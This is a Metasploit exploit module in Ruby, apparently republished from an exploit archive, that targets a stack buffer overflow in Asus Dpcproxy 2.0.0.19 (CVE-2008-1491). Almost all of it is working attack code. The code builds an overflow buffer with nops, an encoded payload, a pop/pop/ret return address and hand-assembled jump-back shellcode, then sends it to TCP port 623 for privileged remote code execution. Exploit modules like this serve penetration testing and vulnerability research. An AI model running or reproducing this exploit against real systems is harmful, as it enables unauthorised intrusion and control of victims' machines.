Asus Dpcproxy Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Asus Dpcproxy Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Asus Dpcroxy version 2.0.0.19.  
It should be vulnerable until version 2.0.0.24.  
Credit to Luigi Auriemma  
},  
'Author' => 'Jacopo Cervini',  
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2008-1491' ],  
[ 'OSVDB', '43638' ],  
[ 'BID', '28394' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Asus Dpcroxy version 2.00.19 Universal', { 'Ret' => 0x0040273b } ], # p/p/r  
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'March 21 2008'))  
  
register_options([Opt::RPORT(623)], self.class)  
  
end  
  
def exploit  
connect  
  
sploit = make_nops(0x38a - payload.encoded.length)+ payload.encoded + rand_text_english(6032)  
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)  
sploit << [target.ret].pack('V') + make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string #jmp back  
sploit << make_nops(50)  
  
print_status("Trying target #{target.name}...")  
sock.put(sploit)  
sleep(3) # =(  
  
handler  
disconnect  
end  
  
end  
`